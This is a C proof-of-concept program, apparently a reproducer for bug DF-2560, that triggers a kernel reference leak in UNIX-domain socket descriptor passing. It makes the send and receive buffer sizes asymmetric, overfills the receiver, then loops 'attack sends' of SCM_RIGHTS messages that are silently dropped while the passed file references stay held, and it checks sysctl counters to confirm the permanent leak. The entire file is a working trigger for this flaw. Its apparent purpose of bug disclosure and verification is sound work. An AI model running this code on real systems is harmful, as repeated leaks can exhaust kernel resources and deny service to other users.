/* DF-2560 -- DETERMINISTIC trigger.
 *
 * uipc_usrreq.c SOCK_STREAM SCM_RIGHTS branch:
 *   :767  if (ssb_appendcontrol(&so2->so_rcv, m, control))   <- checks
 *          ssb_space(&so2->so_rcv) <= 0  against the RECEIVER's hiwat
 *   :787  SSB_STOP backpressure compares rcv cc against the SENDER's
 *          so_snd.ssb_hiwat (and sosend pre-checks only the sender).
 *
 * With SO_SNDBUF(1MB) >> SO_RCVBUF(4KB): fill the receiver with plain data
 * past its hiwat (sbappend is unconditional and never sets STOP below the
 * sender's 1MB threshold), then sendmsg(SCM_RIGHTS):
 *   - ssb_appendcontrol() returns 0 (rcv space < 0)
 *   - error stays 0, control stays non-NULL
 *   - cleanup at :808/:814 does m_freem(control) WITHOUT unp_dispose()
 *     => every fhold()/unp_add_right() from unp_internalize() leaks
 *   - sendmsg() returns success -- the message is silently dropped.
 *
 * usage: scm_leak6 [iters]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>

static int
sysctl_int(const char *name)
{
	int v;
	size_t l = sizeof(v);
	return (sysctlbyname(name, &v, &l, NULL, 0) < 0) ? -1 : v;
}

int
main(int argc, char **argv)
{
	int iters = (argc > 1) ? atoi(argv[1]) : 50;
	int sv[2], fds[8], i, k, rc;
	struct msghdr msg;
	struct iovec iov;
	static char big[32768];
	char cbuf[CMSG_SPACE(sizeof(fds))];
	struct cmsghdr *cm;
	int infl0, infl1, of0, of1, ok = 0, fail = 0, probe_not_there = 0;
	int sz;

	setvbuf(stdout, NULL, _IONBF, 0);
	infl0 = sysctl_int("net.local.inflight");
	of0 = sysctl_int("kern.openfiles");
	printf("before: net.local.inflight=%d kern.openfiles=%d\n", infl0, of0);

	for (i = 0; i < 8; i++) {
		char p[64];
		snprintf(p, sizeof(p), "/tmp/df2560f_%d", i);
		unlink(p);
		fds[i] = open(p, O_RDWR | O_CREAT, 0600);
		if (fds[i] < 0) { perror("open"); return 1; }
	}
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return 1; }

	/* asymmetry: sender limit 1MB, receiver limit 4KB */
	sz = 1048576;
	if (setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz)) < 0)
		perror("SO_SNDBUF");
	sz = 4096;
	if (setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz)) < 0)
		perror("SO_RCVBUF");
	sz = 0; socklen_t sl = sizeof(sz);
	getsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &sz, &sl);
	printf("sender SO_SNDBUF=%d ", sz);
	sz = 0; sl = sizeof(sz);
	getsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &sz, &sl);
	printf("receiver SO_RCVBUF=%d\n", sz);

	/* fill receiver past its hiwat with plain data (no STOP: cc << 1MB) */
	memset(big, 'D', sizeof(big));
	rc = send(sv[0], big, 16384, MSG_DONTWAIT);
	printf("fill send(16384) = %d (rcv hiwat exceeded, no error)\n", rc);

	memset(&msg, 0, sizeof(msg));
	memset(cbuf, 0, sizeof(cbuf));
	iov.iov_base = big;
	iov.iov_len = 16;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = CMSG_SPACE(sizeof(fds));
	cm = CMSG_FIRSTHDR(&msg);
	cm->cmsg_len = CMSG_LEN(sizeof(fds));
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_RIGHTS;
	memcpy(CMSG_DATA(cm), fds, sizeof(fds));

	for (k = 0; k < iters; k++) {
		ssize_t r = sendmsg(sv[0], &msg, MSG_DONTWAIT);
		if (r < 0) fail++;
		else ok++;
	}
	printf("attack sends: success=%d fail=%d (expect success==iters, "
	    "messages silently dropped)\n", ok, fail);

	/* prove silent drop: the 16-byte payloads never arrived (peer rcv has
	 * only the fill data); drain and count */
	fcntl(sv[1], F_SETFL, O_NONBLOCK);
	int got = 0, nrecv = 0;
	for (;;) {
		ssize_t r = recv(sv[1], big, 4096, MSG_DONTWAIT);
		if (r <= 0) break;
		got += r; nrecv++;
	}
	printf("peer drained: %d bytes in %d recvs (fill was 16384; "
	    "attack data must be absent)\n", got, nrecv);

	infl1 = sysctl_int("net.local.inflight");
	of1 = sysctl_int("kern.openfiles");
	printf("during : inflight=%d openfiles=%d\n", infl1, of1);

	close(sv[0]);
	close(sv[1]);
	for (i = 0; i < 8; i++) close(fds[i]);
	infl1 = sysctl_int("net.local.inflight");
	of1 = sysctl_int("kern.openfiles");
	printf("after close-all: inflight=%d openfiles=%d\n", infl1, of1);
	printf("deltas vs start: inflight=%+d openfiles=%+d\n",
	    infl1 - infl0, of1 - of0);
	if (infl1 - infl0 > 0)
		printf("DF2560: LEAK CONFIRMED -- %d rights leaked permanently "
		    "(%d fds passed x %d dropped messages)\n",
		    infl1 - infl0, 8, iters);
	else
		printf("DF2560: no leak observed\n");
	return 0;
}
